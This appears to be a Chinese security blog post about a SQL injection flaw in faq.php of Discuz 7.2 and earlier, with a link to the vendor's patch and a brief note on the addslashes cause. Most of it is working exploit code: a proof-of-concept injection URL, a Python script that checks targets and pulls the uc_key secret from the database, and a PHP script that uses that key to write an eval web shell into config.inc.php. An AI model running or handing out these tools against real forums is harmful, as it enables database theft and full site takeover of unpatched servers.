- A+
在昨天下午,突然惊现一个Discuz的注入漏洞,影响Discuz 7.2及以下版本,都是比较老的了,但是由于很多老网站都没有及时升级版本的习惯,影响范围是比较大的。由于乌云的一个猪队友公司,提前暴露了漏洞的细节,导致乌云的细节未公开,各种exp就已经满天飞了,没图我说个杰宝,这是我今天监测到的,昨天的我就不贴了。
本漏洞官方已经发布补丁,请使用discuz 7.2以及以前版本的论坛尽早升级,地址:
http://www.discuz.net/thread-3579915-1-1.html
本文仅为探讨漏洞成因以及漏洞的最坏后果,请勿使用本漏洞对任何网站进行攻击。这个漏洞的问题主要出在faq.php这个文件中,addslashes害死人啊,哎哎哎,由于程序员在取值的时候没有考虑到会有”\”自动加在前面,导致悲剧的发生。poc如下:
http://localhost/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
访问之后你会发现user()已经被回显过来了
这个时候,拿数据库的内容肯定是没有压力的了,那么如何GetShell呢,如果需要直接GetShell,我们需要获得uc_key,这个已经是一个很早前的技巧了,可能很多人都忘了,而且这个key是可以直接从数据库中读出来的,那么就可以妥妥的开干了,写个小脚本来分两段读key吧。
# -*- coding: utf-8 -*- import urllib2 import sys reload(sys) sys.setdefaultencoding( "utf-8" ) def get_url(url): #print url req = urllib2.Request(url) res = urllib2.urlopen(req) html = res.read() res.close() return html def get_cut_result(source): return source[source.find("Duplicate entry")+17:source.find("for key")-3] def main(sitedomain): key_table_name="uc_applications" #key_table_name="cdb_uc_applications" #Define the table name if_vul_url="/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23" if_vunl_html=get_url(sitedomain+if_vul_url) if if_vunl_html.find("Duplicate entry")>0: print "Target is vulnerable,continue" key1=get_url(sitedomain+"/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20substr%28authkey%2C1%2C62%29%20from%20"+key_table_name+"%20limit%201),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23") key1=get_cut_result(key1) key2=get_url(sitedomain+"/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20substr%28authkey%2C63%2C60%29%20from%20"+key_table_name+"%20limit%201),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23") key2=get_cut_result(key2) print key1+key2 else: print "Target is not vulnerable" if __name__ == '__main__': if len(sys.argv)!=2: print "usage:discuz.py sitedomain(example:http://www.bb.com)" sys.exit(1) sitedomain=sys.argv[1] main(sitedomain)
拿到了key,就可以利用discuz的uc_key来getshell了,原理也很简单,在写配置文件的时候,过滤有问题,导致可以在提交配置文件的时候,把一句话写入配置文件中,具体可以去搜相关文章。总之作为后人,我们要做的就是微笑就可以了。由于涉及到key的加密解密函数,直接从源码copy,因此这个漏洞的exp用的大多是php,成功以后,会在根目录的config.inc.php文件中写入一句话木马。
<?php $timestamp = time()+10*3600; $host="localhost"; $uc_key="B3bbg0GdB7g9j6T670Y5X64ci7G6r448Xcc9O3O923T703T36fc8NaS3u4beob58"; $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key)); $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">xxx\');eval($_POST[sharlock]);//</item> </root>'; $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">aaa</item> </root>'; $html1 = send($cmd1); echo $html1; $html2 = send($cmd2); echo $html2; function send($cmd){ global $host,$code; $message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n"; $message .= "Accept: */*\r\n"; $message .= "Referer: ".$host."\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; $message .= "Host: ".$host."\r\n"; $message .= "Content-Length: ".strlen($cmd)."\r\n"; $message .= "Connection: Close\r\n\r\n"; $message .= $cmd; $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp; } function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5 (microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } ?>
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫